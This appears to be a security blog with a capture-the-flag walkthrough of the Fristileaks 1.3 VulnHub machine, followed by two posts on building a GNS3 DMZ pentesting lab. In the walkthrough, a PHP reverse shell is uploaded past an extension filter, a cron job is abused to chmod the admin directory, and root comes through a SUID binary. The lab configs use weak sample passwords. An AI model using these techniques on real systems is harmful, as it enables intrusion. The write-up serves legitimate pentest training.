Fristileaks 1.3

The machine can be downloaded here:

https://www.vulnhub.com/entry/fristileaks-13,133/

Thanks to the guy who built it: Ar0xA

It’s a beginner level Vulnerable machine which was part of some dutch hacking con, and is meant to be solved under 4 hours.

Without further due, let’s delve into it:
Step 1: Lets’ use netdiscover with the following command to find the host

netdiscover -i eth0 -r 192.168.178.0/24

Unfortunately this did not work out as, can be seen here:

Fristi_01

Step 2: Let’s use nmap, to scan the machine

While booting up the virtual machine, the machine’s IP Adress is visible, which is why I do not consider finding the IP part of the game:

nmap -A -vv -T5 -oN fristileaks 192.168.178.53

# Nmap 7.60 scan initiated Tue Jan 9 21:37:17 2018 as: nmap -A -vv -T5 -oN fristileaks 192.168.178.53

Nmap scan report for 192.168.178.53

Host is up, received arp-response (0.00042s latency).

Scanned at 2018-01-09 21:37:17 GMT for 12s

Not shown: 999 filtered ports

Reason: 990 no-responses and 9 host-prohibited

PORT STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 64 Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

| http-methods:

| Supported Methods: GET HEAD POST OPTIONS TRACE

|_ Potentially risky methods: TRACE

| http-robots.txt: 3 disallowed entries

|_/cola /sisi /beer

|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 2.6.X|3.X

OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3

OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13

TCP/IP fingerprint:

Uptime guess: 0.011 days (since Tue Jan 9 21:21:55 2018)

So what does this tell us?

There is only port 80 opened on the machine.

There’s an Apache 2.2.15 running on CentOS bundled together with DAV/2 and PHP/5.3.3

The robots.txt reads like this:

User-agent: *

Disallow: /cola

Disallow: /sisi

Disallow: /beer

Those might be interesting links to follow. Let’s see…

Step 3: Visit the webpage, check disallowed pages and sourcecode for hints

Fristi_03

Ok, so Fristi is some sort of mixed milkdrink from the netherlands. Honestly I should have looked this up first, otherwise I wouldn’t have been stuck so long on this hint. In my defense, it’s usually quite late when I get to work on my vulnerable machines and after a long day’s work and some time in the gym I might lack some basic creativity.

So all the links (named after drinks, obviously beer and cola, sisi is some dutch speciality, too) mentioned in the robots.txt lead to a page that only contains of the following picture:

Screenshot from 2018-01-11 22-42-31
Yea, the source code on all three pages reveals nothing, too. I think I will just not mention the hour I spent using dirb trying to find other directories of interest.

Also I won’t mention the time I spent using strings, exif and foremost looking to pull any more info from the pictures the webpage gave me.

Even the /colasisibeer directory did not exist.

So if you do not find the obvious you need to look for the obscure. At least that’s what I though at that moment.

So of course the next step was:

Step 4: Looking for exploits with searchsploit

As described above I was quite desperate at that moment, so I found myself two exploits which might fit the bill:

searchsploit Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3

apache 2.2.15 mod_proxy - Reverse Proxy Security Bypass | exploits/linux/remote/36663.txt

Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | exploits/linux/webapps/42745.py

After spending another 20 minutes trying to understand what they do, I figured this is a beginner VM after all and this is surely not the intended part to take. Also since I did not want to spent more time on this, I did not shoot the exploits without understanding what they do. Think that’s a good rule to hold on to.

Step 5: Help me internet, dammit

So, after all this exploring in the wrong direction I consulted the unending wisdom of the internetz for some help on my lack of creativity here.

The answer was so simple… I swear I will do my basic research up front from now on:

http://192.168.178.53/fristi/

So this is where the admin portal login hid. The picture says it all:

haha

Step 6: Back on track, checking the page source for hints

So after quickly checking for sql injection errors (kinda pointless), I did check the source code, which indeed does look more promising:

1) There is this comment, which contains the username possible eezeepz:

!-- TODO: We need to clean this up for production. I left some junk in here to make testing easier. - by eezeepz --

2) Also the source code contains two base64 encoded parts. The second part is commented out.

The note above refering to it as junk, so let’s decode it (with encode2 being the part :

cat encode2 | base64 --decode > out.png

The out.png looks like this:

kek
So we got a possible username and this weird string keKkeKKeKKeKkEkkEk saved in a picture. Might as well be the credentials we need. After all this needs to be done in less than four hours.

Step 7: The login does work, we got an upload page

upload

So with the login successful, we are able to upload pics now, possibly also a shell in php, too. So I quickly prepared pentestmonkey’s php shell (http://pentestmonkey.net/tools/web-shells/php-reverse-shell ) and created a netcat listener on my machine:

netcat -vvl -p 8000

So I cannot upload php files directly, the files needs to be a .png, a .jpg or a.gif file. So I change the shell’s name to shell.php.png and here we go:

boom

Step 8: We got shell now! Let’s explore.

By opening http://192.168.178.53/fristi/uploads/shell.php we will get a reverse shell on our on listener:

Fristi_06

By default I always try this to update the shell to a tty shell, so it’s more easy to use:

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

cd /tmp

python asdf.py

After navigating the filesystem a bit I find a note in /var/www/cgi-bin :

hey eezeepz your homedir is a mess, go clean it up, just dont delete

the important stuff.

-jerry

Following up on this, I found another notes file in /home/eezeepz

Yo EZ,

I made it possible for you to do some automated checks,

but I did only allow you access to /usr/bin/* system binaries. I did

however copy a few extra often needed commands to my

homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those

from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The

output goes to the file "cronresult" in /tmp/. It should

run every minute with my account privileges.

- Jerry

Intrigued. So, chmod is available with the admin user’s privileges? Let’s make the the /home/admin folder accesible to everyone.

cd /tmp

echo "/home/admin/chmod -R 777 /home/admin/" > runthis

Step 9: Let’s browse the admin directory.

admindir
cat whoisyourgodnow.txt

=RFn0AKnlMHMPIzpyuTI0ITG

Interesting… let’s see.

cat cryptedpass.txt

mVGZ3O3omkJLmy2pcuTq

Ok, so what’s cryptpass.py ?

cat cryptpass.py

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn

import base64,codecs,sys

def encodeString(str):

base64string= base64.b64encode(str)

return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])

print cryptoResult

So, let’s built a little python script, that does the above’s script encoding in reverse. Easy, let’s build the script and decode the whoisyourgodnow.txt on my machine:

import base64,codecs,sys

def decodeString(str):

reverse = (str[::-1])

rot13string = codecs.decode(reverse, 'rot13')

return base64.b64decode(rot13string)

cryptoResult = decodeString(sys.argv[1])

print cryptoResult

Great success, the password looks to be LetThereBeFristi!

Let’s try it!

Step 10: Let’s login as fristigod.

Let’s do this. Why fristigod? Because, besides the eezeepz and the admin dir, there is a fristigod dir in the /home directory.

su - fristigod

As soon as we are fristigod I found this:

cd /var/fristigod/.secret_admin_stuff

There is a SUID executable called doCom with the following permissions:

-rwsr-sr-x 1 root root 7.4K Nov 25 2015 doCom

I checked the file with strings:

/lib64/ld-linux-x86-64.so.2

__gmon_start__

libc.so.6

setuid

exit

strcat

stderr

system

getuid

fwrite

__libc_start_main

GLIBC_2.2.5

fff.

fffff.

l$ L

t$(L

|$0H

Nice try, but wrong user ;)

Usage: ./program_name terminal_command ...

I tried to execute this, but it did not let me:

sudo ./doCom

[sudo] password for fristigod: LetThereBeFristi!

Sorry, user fristigod is not allowed to execute './doCom' as root on localhost.localdomain.

Step 11: Following the lead in the .bash_history file

In the home directory of fristigod I found a bash history file:

cat .bash_history

This looks promising:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

Let’s just try this then:

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

bash-4.1# whoami

whoami

root

Boom, root! Let’s wrap this up:

cd /root

cat fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

Done!

Despite the first lack of research into what Fristi is, I think I managed to pull this off in about 4 hours. Still, there is a feeling that I cheated on this. Hopefully the next Vulnhub VM will be all my work.

Again, thanks to the Author of Fristileaks and also a shout out to the Vulnhub.com page, which does a great job hosting all those machines.

Cheers.

Advertisements

Building a DMZ lab for pentesting in GNS3 and VMWare Workstation9 (Part II: Basic Layout)

Hello again, fellows.

Today we’re using the preconfigured (see Part I) GNS3 to build our basic lab. Imagine the following scenario:

Your pentesting company got contracted by a small company to do a white/grey box pentest. This means you know everything about the present IT infrastructure and got all info on software patchlevels and hardware used. And to safely mitigate possible downtimes or other unforseen consequences of a full-blown pentest on the production network, network simulation comes in handy.

Also if your pentesting company is contracted to do a black box pentest a virtual network that is built on findings from the information gathering process can be used as a test environment before actually conducting the test on the real systems.

As for our pentest we choose a mid-sized software company called Noob.net with the following network properties:

  • Dual firewall DMZ with port forwarding
  • Webserver & Services (Email, DNS, etc.) in DMZ
  • Internal network that is split into VLANs according to department (Management, IT, Software Development, Sales)
  • Routing via OSPF, backed up by static routes

As prerequisites you need at least two different iOS images and one PIX image. In our case we use the following:

Firewall: PIX 803

Router_FW_Internal: c3725-advsecurityk9-mz.124-19b.image

RouterDMZ & Router_ISP: c2691-jk9s-mz.123-17.image

Pic4_Pix_config

PIX configuration in GNS3

Additionaly you should have a few virtual machine handy that to do ping/traceroute tests. I use a Windows XP SP3 and a Kali Linux VM to do so.

First of before we start we need to assign IP and subnet addresses and VLANs. The following table includes all the information necessary to model your virtual networks after.

Note: Due to the constraints of the VMWare Networks I only used subnetting on the interfaces that interconnect the routers with the firewall (PIX).

Dept. VLAN If. # of IP-Add. CIDR Network Subnet Mask
Management 10 F0/1 @ Router 254 /24 10.10.10.0 255.255.255.0
IT (DMZ) 254 /24 172.16.100.0 255.255.255.0
Software Development 200 F1/0 254 /24 10.10.200.0 255.255.255.0
Sales 300 F2/0.30 @ Router 254 /24 10.10.30.0 255.255.255.0
Marketing 400 F2/0.40 @ Router 254 /24 10.10.40.0 255.255.255.0
Internet” 254 /24 192.168.10.0 255.255.255.0
Internal ↔ PIX F0/0 @ router e0 @ PIX 2 /30 10.0.0.0 255.255.255.252
PIX ↔ DMZ E1 @ PIX F0/0 @ DMZ 2 /30 192.168.0.0 255.255.255.252
PIX ↔ Ext E4 @ PIX F0/0 @ Ext 2 /30 192.168.0.4 255.255.255.252

The next table shows the interal (Router_FW_Internal) router’s ports and their connectivity:

If Connected to IP-Address VLAN
F0/0 Firewall External @ E0 10.0.0.1
F0/1 Management_Switch @ 1 10.10.10.2 10
F1/0 SoftwareDev_Switch @ 1 10.10.200.2 200
F2/0 Setup_Interface 10.10.20.1 dot1q
F2/0.300 Sales_Marketing_Switch @ 1 10.10.30.2 30
F2/0.400 Sales_Marketing_Switch @ 1 10.10.40.2 40

The following table shows the Firewall’s (PIX) connections.

Port Connected to IP Address / CIDR
E0 Router_FW_Internal @ F0/0 10.0.0.2 /30
E1 Router_DMZ @ 1 192.168.0.1 /30
E5 Router_ISP @ 1 192.168.0.5 /30

The following table shows the Router_ISP’s connections

Port Connected to IP Address / CIDR
F0/0 PIX @ E4 192.168.0.6 /30
F0/1 Internet @ vmware8 192.168.10.2 /24

The following table shows the RouterDMZ’s connections

Port Connected to IP Address / CIDR
F0/0 PIX @ E1 192.168.0.2 /30
F0/1 Internet @ vmware13 172.16.100.2 /24

The next table shows the Virtual Networks used and their configuration:

Name IP Range resembles VLAN
Vmnet8 192.168.10.0/24 Internet
Vmnet13 172.16.100.0/24 IT (DMZ)
Vmnet14 10.10.10.0/24 Management 10
Vmnet16 10.10.200.0/24 SoftwareDev 200
Vmnet17 10.10.300.0/24 Sales 30
Vmnet18 10.10.400.0/24 Marketing 40

Here is a picture what the topology should look like:

Pic5_Topology

Network topology in GNS3

Next we need to configure the router to enable routing between the internal networks and the DMZ and the Internet respectively.

Note that the commands described within this tutorial are always executed from enable mode.

Router_FW_Internal

So we log into the console of Router_FW_Internal and start with the interface facing the internal network that connects to the management LAN. First off, we’re going to apply the correct IP addresses to the corresponding interfaces:

Conf t

int fastEthernet1/1

description toMGMT

no shut

ip address 10.10.10.2 255.255.255.0

full-duplex

exit

Next up we’re going to setup basic security configurations on the switch, starting with the enable secret and password encryption.

conf t

enable secret Cisco1

service password-encryption

Then we’re going to implement SSH connectivity on the standard VTY lines (0-5) and disallow Telnet. But first we have to give the router a qualified domain name and generate a RSA key pair.

ip domain-name noob.net

crypto key generate rsa

→ Choose 1024 to support SSH v.2

line vty 0 5

login local

transport input ssh

ip ssh version 2

motd-banner

exit

line con 0

login local

motd-banner

exit

Then we generate a username with password.

username admin password administrator

Let’s create a banner to warn potential intruders. We also need to enable the messasge-of-the-day banner on the VTY lines.

banner motd # Trespassers will be prosecuted. #

line vty 0 5

motd-banner

exit

Next we will configure interface f1/0. The connection to the Software Development switch:

conf t

int fastEthernet1/0

description toSoftDev

no shut

ip address 10.10.200.2 255.255.255.0

full-duplex

exit

We will configure interface f2/0 as a Router-on-a-stick configuration since Marketing and Sales share the same switch, but they should be on different broadcast domains. Therefore we add the following commands:

conf t

int fastEthernet2/0

description setup_if

ip address 10.10.20.2 255.255.255.0

no shut

exit

int fastEthernet2/0.30

no shut

description to_Sales

encapsulation dot1Q 30

ip address 10.10.30.2 255.255.255.0

no shut

exit

int fastEthernet2/0.40

description to_Marketing

encapsulations dot1Q 40

ip address 10.10.40.2 255.255.255.0

no shut

exit

The next step will connect the internal router/firewall to the external firewall.

conf t

int fastEthernet0/0

no shut

ip address 10.0.0.1 255.255.255.252

description toFirewallExt

We also need to configure static routing as a back-up system. Therefore we will add an administrative distance of 250 to the route:

ip route 0.0.0.0 0.0.0.0 10.0.0.2 250

To prevent access from any unauthorized users we now put a few extended ACLs in place. We start with the access list for int fa0/1 (MGMT). This list will prevent traffic coming from the MGMT network to reach the other local networks.

conf t

access-list 100 remark fromMGMT

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.200.0 0.0.0.255 log-input

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.30.0 0.0.0.255 log-input

access-list 100 deny ip 10.10.10.0 0.0.0.255 10.10.40.0 0.0.0.255 log-input

access-list 100 permit ip any any

int fastethernet 0/1

ip access-group 100 in

We now repeat these steps for all the internal interfaces starting with fa1/0.

conf t

access-list 101 remark fromSoftDev

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.10.0 0.0.0.255 log-input

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.30.0 0.0.0.255 log-input

access-list 101 deny ip 10.10.200.0 0.0.0.255 10.10.40.0 0.0.0.255 log-input

access-list 101 permit ip any any

int fastethernet 1/0

ip access-group 101 in

We also need to setup an ACL for sub-interface fa2/0.30

conf t

access-list 102 remark fromSales

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.10.0 0.0.0.255 log-input

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.200.0 0.0.0.255 log-input

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 102 deny ip 10.10.30.0 0.0.0.255 10.10.40.0 0.0.0.255 log-input

access-list 102 permit ip any any

int fastethernet 2/0.30

ip access-group 102 in

The next step will be to configure an ACL for sub-interface fa2/0.40

conf t

access-list 103 remark fromMarketing

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.10.0 0.0.0.255 log-input

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.200.0 0.0.0.255 log-input

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.20.0 0.0.0.255 log-input

access-list 103 deny ip 10.10.40.0 0.0.0.255 10.10.30.0 0.0.0.255 log-input

access-list 103 permit ip any any

int fastethernet 2/0.40

ip access-group 103 in

With those ACLs in place our internal network will be fairly secure. The ACLs we put in place will make it impossible to directly access the other networks. Yet, it will still be possible to connect to the Internet or to the DMZ.

Firewall configuration (PIX)

Now on the external firewall (PIX), we need to do some basic configurations.

conf t

enable password Cisco1

int ethernet 0

description toInternal

nameif inside

security-level 100

ip address 10.0.0.2 255.255.255.252

no shut

int ethernet 1

description toDMZ_Router

nameif DMZ

security-level 50

ip address 192.168.0.1 255.255.255.252

no shut

int ethernet 4

description toISP_Router

nameif outside

security-level 0

ip address 192.168.0.5 255.255.255.252

no shut

We will now enable the routing between the different interfaces. Again with an administrative distance of 250. Note also how all internal destinations are within the 10.0.0.0/8 network and we can therefore use route summarization:

route outside 0.0.0.0 0.0.0.0 192.168.0.6 250

route inside 10.0.0.0 255.0.0.0 10.0.0.1 250

route DMZ 172.16.100.0 255.255.255.0 192.168.0.2 250

To enable ICMP (ping) traffic from the inside interface to the DMZ we also need to put in place the following access list and attach it inbound to the DMZ interface.

access-list ICMP permit icmp any any

access-group ICMP in interface DMZ

RouterDMZ

Next up is the Router that connects the DMZ to the PIX firewall. We will establish static routing and some minor security features:

conf t

enable secret Cisco1

service password-encryption

username admin password administrator

ip domain-name noob.net

crypto key generate rsa [1024]

banner # Access to permitted personel only. #

banner motd # Trespassers will be prosecuted.#

line vty 0 5

transport input ssh

motd-banner

login local

line con 0

motd-banner

login local

int fastEthernet 0/0

description to PIX_FW

ip address 192.168.0.2 255.255.255.252

int fastEthernet 0/1

description to_DMZ

ip address 172.16.100.2 255.255.255.0

ip route 0.0.0.0 0.0.0.0 192.168.0.1 250

Router_ISP

conf t

enable secret Cisco1

service password-encryption

username admin password administrator

ip domain-name noob.net

crypto key generate rsa [1024]

banner # Access to permitted personel only. #

banner motd # Trespassers will be prosecuted.#

line vty 0 5

transport input ssh

motd-banner

login local

line con 0

motd-banner

login local

interface fastethernet 0/0

description to_PIX_FW

ip address 192.168.0.6 255.255.255.252

interface fastEthernet 0/1

description INTERNET

ip address 192.168.10.2 255.255.255.0

ip route 10.0.0.0 255.0.0.0 192.168.0.5 250

ip route 172.16.100.0 255.255.255.0 192.168.0.5 250

Short summary:

We built a DMZ network were traffic can flow from each VLAN to the outside. Yet, any IP traffic between the VLANS is blocked by ACLs.

The VLANs also can connect to the DMZ, but not vice versa.

The DMZ can connect to the outside.

The Outside is not able to reach the anything.

Static routing as a backup measure is in place, but will be upgraded by OSPF in the next post.

If you got any questions or need clarification on something, feel free to ask.

Cheers,

Manuel

Building a virtual network lab for pentesting with GNS3, dynamips, qemu/pemu and VMWare Workstation9

Building a DMZ lab for pentesting in GNS3 and VMWare Workstation9 (Part I: Software setup)

Allright fellows, second post.

The goal of the following series of posts is how to setup a DMZ network environment with the help of GNS3, dynamips, qemu/pemu and VMWare Workstation 9.

The use of a network simulator and virtual machines is a good setup for a versatile pentesting lab, since it can resemble almost any network/OS combination out in the wild; within the given hardware and software restrictions.

There are some limitations though. With Cisco switch IOS’s code being propriety, it is impossible to simulate those directly. Yet, with a modified router IOS a Cisco switch with features like VLAN and trunking can be simulated.

The main objective is to be able to test various attack scenarios in a lab environment, that includes port-forwarding, DMZ architecture and testing of Firewall/IDS components like IPCop and SecurityOnion.

In the follow-up I want also to show some classic pentesting scenarios like a client-side attack, a web server attack from the outside and MITM attacks from certain entry points of the network.

But first off we need to get the combination of the needed software running on the a up-to-date [01/01/2014] Ubuntu 12.04 LTS.

You need a working copy of VMWare Workstation 9. I won’t explain how to install this software because there’s already enough documentation provided.

To get GNS3 and dynamips you can simply type at a terminal:

sudo apt-get install gns3 dynamips

To install a qemu version that works with the setup I used the following commands:

cd /tmp

wget -O QEMU-0.11.0-GNS3-Ubuntu-Linux.tgz http://sourceforge.net/projects/gns-3/files/Qemu/Linux/QEMU-0.11.0-GNS3-Ubuntu-Linux.tgz/download

tar xvf QEMU-0.11.0-GNS3-Ubuntu-Linux.tgz

cd QEMU-0.11.0-GNS3-Ubuntu-Linux/

sudo ./Qinstall

To install pemu you need to download it here:
http://sourceforge.net/projects/gns-3/files/Pemu/2008-03-03/pemu_2008-03-03_bin.tar.bz2/download
Then unpack:

bunzip pemu_2008-03-03_bin.tar.bz2

tar xvf pemu_2008-03-03_bin.tar

cd /pemu_2008-03-03_bin

Then you need to copy all the files included to the following directory:

cp * /usr/share/gns3

Yet to get qemu/pemu running on the x64 architecture you need to install certain 32bit libraries.

sudo apt-get install ia32-libs

After you’ve done all this you will be able to run PIX and ASM (and possibly Juniper) images in GNS3.

To make it all work you’ll need some IOS/PIX images. Google is your friend.

In the next post I am going to show you how to setup a basic DMZ network for pentesting purposes.